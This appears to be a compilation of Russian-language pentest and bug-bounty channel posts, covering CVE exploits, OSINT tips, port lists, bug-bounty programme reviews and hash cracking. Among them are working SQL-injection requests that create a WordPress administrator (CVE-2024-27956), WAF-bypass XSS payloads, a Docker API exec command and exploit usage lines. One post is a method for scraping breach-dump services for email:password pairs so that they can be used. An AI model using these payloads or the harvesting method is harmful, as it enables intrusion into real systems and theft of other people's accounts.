Pentest Notes

💡 Если в ходе багбаунти/пентеста вы встретили веб-приложение на Symfony, проверьте наличие дебаг режима (/app_dev.php) и возможности чтения конфига: /app_dev.php/_profiler/open?file=app/config/parameters.yml #tips #bugbounty #pentest

Сдаем экзамен по Sliver C2 framework с легкостью бабочки )) * Lets go #sliver

Linksys routers POCs * CVE-2024-33788 - POC exploit CVE-2024-33789 - POC exploit

Многие юзают инфу о выданных сертификатах, чтобы узнать поддомены компании, например в crt.sh Но не только лишь все знают, как узнать другие домены одного владельца в ru зоне. Раньше для этого юзал 1stat.ru, но он уже больше как архив, а сейчас использую backorder.ru Эт такой сервис для киберсквоттеров, который позволяет наблюдать за истекшими доменами и их перехватить. Ну и помимо этой функции, доступен расширенный поиск. Короч, вбиваешь условный vk.ru, тыкаешь в значение поля Org, нажимаешь "Все домены". #Osint >

Порты и их соответствия с сервисами Общие:135,137,139,445,8080,80,443 Nas synology port: 5000,5001 - Хранилище данных Veeam: 9443,9392,9393,9401,6160 - Бекапы DB mysql,mssql,db2,postgresql: 3306,1433,50000,5432,5433 - Базы данных Veritas backup exec. 6101,10000,3527,6106,1125,1434,6102 server 3527,6106 - Бекапы Oracle: 1521,1522 Remote control: 22,21,3389 4899,5900 - Возможность альтернативного подключения к компу Nfs: 111,1039,1047,1048,2049 Iscsi: 860,3260 replication: 902,31031,8123,8043,5480,5722 Sophos Web: 4444 Sophos Console: 2195,8190,8191,8192,8193,8194,49152-65535 #pentest

Привет, это Зёма. Я вернулся. Снова. Прошло уже больше 2 лет с великого пидо прогона граждан РФ с зарубежных площадок. В октябре 2022 года я делал пост, который касался багхантинга в новом мире. Пришло время актуализировать информацию. К сожалению (или к счастью для меня), в этот раз не будет разделения на возраст, необходимый для участия. Начнём с площадок: - Standoff365 - сделали крупные шаги и сделали багхантинг доступным всем! Добавили фильтры, которые позволяют отобрать программы разным группам хакерам (несовершеннолетним или гражданам не РФ); - Bi.Zone - прикольные рейтинги, а также у них есть программы, которых нет на других платформах (например, Astra Linux); - Bugbounty.ru - ну это ббру, ничего особо не изменилось, только добавились программы. В это году VK в честь десятилетия программы баг баунти сделали Bug Bounty Pass. Советую принять участие. Hackenproof ограничили доступ для РФ. Что по итогу с ними - неизвестно. Да и участие в бб у них на площадке может нести риски для граждан РФ. Не советую. А теперь про Self-hosted программы. За это время я попробовал множество программ и хотел бы поделиться некоторыми из них, а также фидбеком. - CardPR - отвечают быстро, платят щедро. Довольно интересные правила программы бб, но у них есть свои плюсы; - Пешкарики - долго отвечают, выплаты относительно неплохие, есть что поискать. Было такое, что выплату разбили на 2 части, даже не предупредив об этом; - AvanChange - платят нормально, ответы довольно быстрые, есть что покапать. Особенно подойдёт тем, кто любит поковыряться с различными криптовалютными обменниками; - in.top - выплаты небольшие, но есть чего покапать, отвечают быстро; - Aeza - самая противоречивая программа. Кажется, что платят нормально, но приходилось доказывать, что для эксплуатации XSS не нужно убеждать пользователя разрешить выполнение JS (если это не отключено по умолчанию); - FunPay - с них, можно сказать, начался мой путь в бб. Приятные выплаты, накидывают соточку даже за опечатки. Ответы относительно быстрые, с Михаилом довольно приятно общаться, крутой мужик!; - Пачка - одна из самых приятных программ. Выплаты средние, но всегда готовы обсудить баги. 1 раз выплатили за багу, про которую им было известно, но я нашёл как её можно крутануть дальше; - Pyrus - есть что поискать. Пост про найденную у них багу уже был на канале в начале этого года. Выплату получал полгода (частично моя вина, т.к. отложил до своего совершеннолетия, но и после этого потребовалось 2 месяца, чтобы денежка до меня дошла). Ещё есть Яндекс, они часто проводят конкурсы с большими иксами, но как-то не участвовал. Также остаются прежние рекомендации: - Стоит самостоятельно искать бб программы при помощи дорок поисковых систем. Почти все сайты из списка выше были найдены таким образом; - Перед тем, как убить всё свободное время, стоит закинуть пару простых багов, чтобы оценить стоит ли программа того; - Не всегда те, кто готовы платить за уязвимости, публично заявляют об этом; - И, наконец, try harder! Небольшое уточнение. Выплаты оценивал чисто для себя (обычного студента, который не шикует, а просто живёт в общаге в Питере). Критику и дополнения как всегда готов принять в комментариях. Возможно это повлияет на следующий пост, который когда-нибудь выйдет. Записки Зёмы

Собираем пароли к мылам. Существуют сервисы, которые хранят дампы с удаленных источников по типу BreachForums, cit0day. Вот примерный список таких: https://www.saashub.com/snusbase-alternatives Возьмем для примера Snusbase. https://beta.snusbase.com/v2/combo/test@gmail.com Отправляем email и получаем в json формате email и password. Некоторые будут в захэшированном виде. Но т.к это бесплатный API, то нам не дадут с 1 устройства делать множество запросов. Можно открыть документацию API почитать. Т.к мы получаем ответ в body, то можем сделать простой парсер с прокси. Использовать будем 5 потоков, чтобы не прилетал бан, особенно, если пулл прокси небольшой. Та и это всего-лишь пример. Может вы будете использовать менее распространенный ресурс, если переборщить с потоками, то можно его просто положить. Также используйте опцию "Check content". Если ваш запрос не пройдет, то будет перечек с другой проксей. https://a-parser.com/docs/parsers/net-http В результате у нас будет JSON файл с которого надо выдернуть email:pass. Используем простой скрипт на python

import re
import json

# Открываем файл file.json для чтения
with open('file.json', 'r') as file:
    data = file.read()

# Находим все соответствия вашему regex-шаблону в файле
matches = re.findall(r'"username":"([^"]*)","password":"([^"]*)"', data)

# Выводим пары username-password в формате "Username:Password"
for match in matches:
    print(f"{match[0]}:{match[1]}")

В результате получим email:pass и email:hash, останется удалить дубликаты и можно пользоваться👍🏻 Таким же методом можно обращаться к API других сервисов и собирать собственный словарь поддоменов, страничек и т.д #pentest #web

👩‍💻 PoC for WordPress Automatic Plugin CVE-2024-27956 (Unauthenticated Arbitrary SQL Execution) (CVSS 9.9) Since "q" is passed directly into a $wpdb->get_results() call, you can execute SQL commands directly. Adding a new WordPress user:

q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('poc', MD5('poc'), 'poc', 'poc@localhost.org', NOW(), 0);&auth=%20&integ=5be638728303f002fd54450e5866dd28

Giving the user admin rights:

q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (6, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'), (6, 'wp_user_level', '10');&auth=%20&integ=6ed26ea278413ec91e2c27fed01eac6c

PWNED! Note: Param "integ" is the md5sum of the query. 6K+ Services are found: https://hunter.how/list?searchValue=web.body%3D%22wp-content%2Fplugins%2Fwp-automatic%22 Tweet: https://x.com/mrtuxracer/status/1784229071460692232?s=12

The Kubenomicon Матрица угроз в стиле MITRE ATTACK для Kubernetes, ориентированная на наступательную безопасность. С акцентом на то, как использовать каждую атаку. 1. Initial access — Using cloud credentials — Compromised image In registry — Kubeconfig file — Application vulnerability — Exposed sensitive interfaces — SSH server running inside container 2. Execution — Exec inside container — New container — Application exploit (RCE) — Sidecar injection 3. Persistence — Backdoor container — Writable hostPath mount — Kubernetes cronjob — Malicious admission controller — Container service account — Static pods 4. Privilege escalation — Privileged container — Cluster-admin binding — hostPath mount — Access cloud resources 5. Defense evasion — Clear container logs — Delete events — Pod name similarity — Connect from proxy server 6. Credential access — List K8S secrets — Access node information — Container service account — Application credentials in configuration files — Access managed identity credentials — Malicious admission controller 7. Discovery — Access Kubernetes API server — Access Kubelet API — Network mapping — Exposed sensitive interfaces — Instance Metadata API 8. Lateral movement — Access cloud resources — Container service account — Cluster internal networking — Application credentials in configuration files — Writable hostPath mount — CoreDNS poisoning — ARP poisoning and IP spoofing 9. Collection — Images from a private registry — Collecting data from pod

👍 Обход защиты от XSS Статья по байпассу средств защиты от XSS для некоторых кейсов. Как итог, получаем несколько довольно универсальных пэйлодов, которые могут пригодится вам и в других случаях (мне пригодились): Imperva & Incapsula: <details/open/id="&quot;"ontoggle=[JS]> Amazon Cloudfront <details/open/id="&quot;"ontoggle=[JS]> Akamai <details open id="' &quot;'"ontoggle=[JS]> Еще больше байпассов для XSS доступно в репозитории на GitHub. #web #xss #waf #bypass

Вот бывает, что хочешь поставить на сервак sqlmap и быстро вытащить через какой-нибудь boolean-based данные. А в sqlmap это сраное ограничение на 10 потоков, хотя сайт может все 100. Короч, идешь на /usr/share/sqlmap/lib/core/settings.py Ищешь строку

# Maximum number of threads (avoiding connection issues and/or DoS)
MAX_NUMBER_OF_THREADS = 10

Меняешь на 1000 И теперь никто тебе не указ, аргументом вида sqlmap --threads 40 ставишь потоков сколько нужно. >

CVE-2024-21111 Повышение привилегий до SYSTEM с помощью VirtualBox. Эксплуатация Arbitrary File Write/Delete с помощью симлинков, \RPC Control\, в связке с DLL Hijacking. Ресерч: https://www.mdsec.co.uk/2024/04/cve-2024-21111-local-privilege-escalation-in-oracle-virtualbox/

CVE-2023-20198 RCE CISCO IOS XE * Добавления/удаления пользователей и выполнения команд/системных команд cisco cli. * Список целей тут * exploit #cisco #rce

CVE-2024-2448 RCE в балансировщике LoadMaster, который широко используется в Amazon, Disney, ASOS, и других компаниях. Ресерч: https://rhinosecuritylabs.com/research/cve-2024-2448-kemp-loadmaster/

Топ платформ для обучения и тренировки навыкам кибербезопасности и этичного хакинга #подборка С каждым днем, цифровая безопасность становится одной из наиболее приоритетных задач для организаций и частных лиц. Каждый день появляются новые угрозы, требующие постоянного повышения уровня защиты и знаний, для их предотвращения. И лучше всего это делать на практике. Мы подготовили подборку обучающих платформ которые могут быть полезны как представителям «синих», так и «красных» команд. • Attack-Defense: Платформа для практики в области информационной безопасности с более чем 1800 лабораторными работами. • Alert to win: Учебная платформа, предлагающая задачи на выполнение кода JavaScript для обучения векторам XSS атак. • CryptoHack: Платформа для изучения криптографии через решение задач и взлом небезопасного кода. • CMD Challenge: Серия испытаний, предназначенных для проверки ваших навыков работы с командной строкой. • Exploitation Education: Платформа с ресурсами для обучения методам эксплуатации уязвимостей. • HackTheBox: Платформа для тестирования и улучшения навыков взлома и пентестинга. • Hackthis: Сайт, предлагающий различные испытания для хакеров для тестирования и развития их навыков. • Hacker101: Платформа CTF от HackerOne, предназначенная для обучения основам взлома и пентестинга. • Hacking-Lab: Платформа для обучения и соревнований в области кибербезопасности. • OverTheWire: Серия варгеймов, предназначенных для обучения навыкам информационной безопасности. • PentesterLab: Ресурс для обучения пентестингу и поиску уязвимостей через практические упражнения. • Hackaflag BR: Бразильская платформа для соревнований по кибербезопасности. • PentestIT LAB: Виртуальная лаборатория для практики взлома и пентестинга. • PicoCTF: Платформа соревнований по информационной безопасности, ориентированная на студентов. • Root-Me: Платформа для всех, кто хочет улучшить свои навыки в области кибербезопасности через практические задачи. • The Cryptopals Crypto Challenges: Набор задач, разработанных для обучения прикладной криптографии. • Try Hack Me: Платформа для изучения кибербезопасности через интерактивные упражнения. • Vulnhub: Ресурс для обучения пентестингу и взлому через практику на виртуальных машинах. • W3Challs: Платформа для веб-разработчиков и пентестеров для тестирования и улучшения своих навыков. • WeChall: Сайт для обучения и практики навыков в области информационной безопасности через участие в различных вызовах и заданиях. • LetsDefend: Платформа для обучения сетевой защите и реагированию на инциденты. • Vulnmachines: Платформа предлагает различные VM для практики навыков взлома и пентестинга. • Rangeforce: Образовательная платформа для обучения кибербезопасности с помощью симуляций и модулей обучения. • Pwn College: Образовательная инициатива, направленная на обучение навыкам кибербезопасности через серию практических заданий. • Codeby Games Уникальная платформа для специалистов информационной безопасности и программистов, желающих прокачивать свои навыки в области кибербезопасности, выполняя задания на захват флага (CTF). • Hackerhub Предоставляет бесплатные виртуальные машины для улучшения ваших навыков информационной безопасности. LH | Новости | Курсы | Мемы #рекомендация #рекомендации

Быстро и дешево брутим хэши Короч, есть чуваки такие, immers.cloud По сути это хостинг с арендой видеокарт. А так как я занимался проектом passleak.ru, иногда нужно было разгадывать хэшики, решил не покупать под это оборудование. Вышло круто. Тут есть два варианта развития событий. Арендуем видеокарту (какую - по желанию, они там выкатили какие-то ультра-модные H100, но мне и 2080 часто хватает), грузим туда наши хэши, делаем что-то типа: sudo apt-get update sudo apt-get install gcc make tmux git mesa-common-dev cmake nvidia-cuda-toolkit build-essential unzip -y https://ru.download.nvidia.com/XFree86/Linux-x86_64/470.63.01/NVIDIA-Linux-x86_64-470.63.01.run chmod +x NVIDIA-Linux-x86_64-470.63.01.run sudo ./NVIDIA-Linux-x86_64-470.63.01.run Устанавливаем hashcat и играемся с этим всем. Но если нам нужно побрутить пароли по словарям, способ еще круче. Берем готовый образ Ubuntu + Hashcat + Weakpass 3, на диске будет лежать архив с Weakpass V3. Запускаем и прогоняем хэши, забираем то что сбрутилось, вырубаем машину. Например, чтоб раскукожить пароли из дампа Linkedin - мне потребовалось рублей... 20? В общем, круто держать под рукой чтобы быстро сбрутить какой-то хэшик. >

CVE-2024-4040 CrushFTP RCE * CrushFTP во всех версиях до 10.7.1 и 11.1.0 на всех платформах позволяет неаутентифицированным удаленным атакующим читать файлы из файловой системы за пределами песочницы VFS, обходить аутентификацию для получения административного доступа и выполнять удаленное выполнение кода * Usage:

python exploit.py -u https://example.com -p /etc/passwd

* Exploit #rce #ftp

Docker порты 2375, 2376 В локалке иногда можно найти открытый 2375 (http) и 2376 (https). Нашел? Пробуй curl -s http://10.1.1.1:2375/version, если в ответ пришел json типа:

{"Platform":{"Name":"Docker Engine -
Community"},"Components":[{"Name":"Engine","Version":"20.10.22","Details":{"ApiVersion":"1.41","A
rch":"amd64","BuildTime":"2022-12-
15T22:25:49.000000000+00:00","Experimental":"false","GitCommit":"42c8b31","GoVersion":"go1.18.9
","KernelVersion":"5.15.0-27-
generic","MinAPIVersion":"1.12","Os":"linux"}}

Грац, тебе вернули версию docker engine. Дальше дергаем секреты, если есть: /secrets Контейнеры: /containers/json Выполняем в нем код через exec:

curl -X POST -H "Content-Type: application/json" "http://10.1.1.1:2375/containers/ИмяКонтейнера/exec" -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "ls"]}'

#docker >

CVE-2024-3400 Palo Alto GlobalProtect VPN (0-Day) * Тех детали - тут хорошо расписано * Сэмпл бэкдора - скачать тут (UPSTYLE Backdoor - update.py) * Аналитика от PaloAlto + адрсеса С2 серверов - можно глянуть тут #paloalto #vpn #0day